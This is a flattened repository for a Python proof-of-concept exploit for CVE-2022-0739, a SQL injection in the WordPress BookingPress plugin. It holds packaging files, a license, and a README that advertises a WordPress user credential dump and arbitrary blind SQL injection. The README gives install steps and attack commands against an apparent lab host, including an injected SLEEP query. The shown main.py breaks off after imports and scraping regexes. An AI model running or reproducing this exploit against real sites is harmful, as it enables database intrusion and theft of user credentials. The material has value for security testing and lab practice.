├── src └── cve_2022_0739 │ ├── __init__.py │ └── main.py ├── pyproject.toml ├── LICENSE ├── README.md └── .gitignore /src/cve_2022_0739/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [build-system] 2 | requires = ["setuptools>=61.0"] 3 | build-backend = "setuptools.build_meta" 4 | 5 | [project] 6 | name = "cve-2022-0739" 7 | version = "1.0.0" 8 | authors = [ 9 | { name="Brandon Kreisel", email="BKreisel@users.noreply.github.com" }, 10 | ] 11 | description = "A POC for CVE-2022-0739" 12 | readme = "README.md" 13 | requires-python = ">=3.8" 14 | classifiers = [ 15 | "Programming Language :: Python :: 3", 16 | "License :: OSI Approved :: MIT License", 17 | "Operating System :: OS Independent", 18 | ] 19 | 20 | dependencies = [ 21 | "requests", 22 | "rich", 23 | ] 24 | 25 | [project.scripts] 26 | cve-2022-0739 = "cve_2022_0739.main:cli" 27 | 28 | [project.urls] 29 | "Homepage" = "https://github.com/BKreisel/CVE-2022-0739" 30 | "Bug Tracker" = "https://github.com/BKreisel/CVE-2022-0739/issues" -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Brandon Kreisel 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-0739 2 | Python PoC Exploit for [CVE-2022-0739](https://nvd.nist.gov/vuln/detail/CVE-2022-0739) 3 | 4 | ## Features 5 | * Database Metadata Lookup 6 | * Wordpress User Credential Dump 7 | * Arbitrary Blind Query Injection 💉 8 | 9 | ## Usage 10 | ```bash 11 | usage: cve-2022-0739 [-h] -u URL [-e EXEC] 12 | 13 | options: 14 | -h, --help show this help message and exit 15 | -u URL, --url URL URL of the page containing the BookingPress Widget 16 | -e EXEC, --exec EXEC Optional query for Blind SQL Injection 17 | ``` 18 | ### Information Leak 19 | ```bash 20 | cve-2022-0739 --url http://metapress.htb/event 21 | ``` 22 | 23 | ### Blind Injection 24 | ```bash 25 | cve-2022-0739 --url http://metapress.htb/event --exec "SELECT SLEEP(5)" 26 | ``` 27 | 28 | ## Installation 29 | 30 | ### PyPI 31 | ```bash 32 | python3 -m pip install cve-2022-0739 33 | ``` 34 | 35 | ### Manual 36 | ```bash 37 | python3 -m pip install cve_2022_0739-1.0.0-py3-none-any.whl 38 | ``` 39 | [Download Latest Release](https://github.com/BKreisel/CVE-2022-0739/releases/download/1.0.0/cve_2022_0739-1.0.0-py3-none-any.whl) 40 | 41 | ## Demo 42 | ### Information Leak 43 | [](https://asciinema.org/a/544403?autoplay=1) 44 | 45 | ### Blind Injection 46 | [](https://asciinema.org/a/544404?autoplay=1) 47 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # VS Code 2 | .vscode/ 3 | 4 | # Byte-compiled / optimized / DLL files 5 | __pycache__/ 6 | *.py[cod] 7 | *$py.class 8 | 9 | # C extensions 10 | *.so 11 | 12 | # Distribution / packaging 13 | .Python 14 | build/ 15 | develop-eggs/ 16 | dist/ 17 | downloads/ 18 | eggs/ 19 | .eggs/ 20 | lib/ 21 | lib64/ 22 | parts/ 23 | sdist/ 24 | var/ 25 | wheels/ 26 | pip-wheel-metadata/ 27 | share/python-wheels/ 28 | *.egg-info/ 29 | .installed.cfg 30 | *.egg 31 | MANIFEST 32 | 33 | # PyInstaller 34 | # Usually these files are written by a python script from a template 35 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 36 | *.manifest 37 | *.spec 38 | 39 | # Installer logs 40 | pip-log.txt 41 | pip-delete-this-directory.txt 42 | 43 | # Unit test / coverage reports 44 | htmlcov/ 45 | .tox/ 46 | .nox/ 47 | .coverage 48 | .coverage.* 49 | .cache 50 | nosetests.xml 51 | coverage.xml 52 | *.cover 53 | *.py,cover 54 | .hypothesis/ 55 | .pytest_cache/ 56 | 57 | # Translations 58 | *.mo 59 | *.pot 60 | 61 | # Django stuff: 62 | *.log 63 | local_settings.py 64 | db.sqlite3 65 | db.sqlite3-journal 66 | 67 | # Flask stuff: 68 | instance/ 69 | .webassets-cache 70 | 71 | # Scrapy stuff: 72 | .scrapy 73 | 74 | # Sphinx documentation 75 | docs/_build/ 76 | 77 | # PyBuilder 78 | target/ 79 | 80 | # Jupyter Notebook 81 | .ipynb_checkpoints 82 | 83 | # IPython 84 | profile_default/ 85 | ipython_config.py 86 | 87 | # pyenv 88 | .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 98 | __pypackages__/ 99 | 100 | # Celery stuff 101 | celerybeat-schedule 102 | celerybeat.pid 103 | 104 | # SageMath parsed files 105 | *.sage.py 106 | 107 | # Environments 108 | .env 109 | .venv 110 | env/ 111 | venv/ 112 | ENV/ 113 | env.bak/ 114 | venv.bak/ 115 | 116 | # Spyder project settings 117 | .spyderproject 118 | .spyproject 119 | 120 | # Rope project settings 121 | .ropeproject 122 | 123 | # mkdocs documentation 124 | /site 125 | 126 | # mypy 127 | .mypy_cache/ 128 | .dmypy.json 129 | dmypy.json 130 | 131 | # Pyre type checker 132 | .pyre/ 133 | -------------------------------------------------------------------------------- /src/cve_2022_0739/main.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import re 3 | import requests 4 | import rich 5 | import rich.table 6 | import sys 7 | from dataclasses import dataclass 8 | from typing import Any, List, Tuple 9 | 10 | ASCII_ART = """ 11 | 12 | ░█████╗░██╗░░░██╗███████╗░░░░░░██████╗░░█████╗░██████╗░██████╗░░░░░░░░█████╗░███████╗██████╗░░█████╗░ 13 | ██╔══██╗██║░░░██║██╔════╝░░░░░░╚════██╗██╔══██╗╚════██╗╚════██╗░░░░░░██╔══██╗╚════██║╚════██╗██╔══██╗ 14 | ██║░░╚═╝╚██╗░██╔╝█████╗░░█████╗░░███╔═╝██║░░██║░░███╔═╝░░███╔═╝█████╗██║░░██║░░░░██╔╝░█████╔╝╚██████║ 15 | ██║░░██╗░╚████╔╝░██╔══╝░░╚════╝██╔══╝░░██║░░██║██╔══╝░░██╔══╝░░╚════╝██║░░██║░░░██╔╝░░╚═══██╗░╚═══██║ 16 | ╚█████╔╝░░╚██╔╝░░███████╗░░░░░░███████╗╚█████╔╝███████╗███████╗░░░░░░╚█████╔╝░░██╔╝░░██████╔╝░█████╔╝ 17 | ░╚════╝░░░░╚═╝░░░╚══════╝░░░░░░╚══════╝░╚════╝░╚══════╝╚══════╝░░░░░░░╚════╝░░░╚═╝░░░╚═════╝░░╚════╝░ 18 | PoC for [bold yellow]CVE-2022-0739[/bold yellow] - Wordpress BookingPresss Plugin Version < [bold yellow]1.0.11[/bold yellow] 19 | """ 20 | 21 | AJAX_RE = re.compile(r'"ajax_url":"([^"]*)"') 22 | NONCE_RE = re.compile(r"_wpnonce:'([^']+)'") 23 | TITLE_RE = re.compile(r"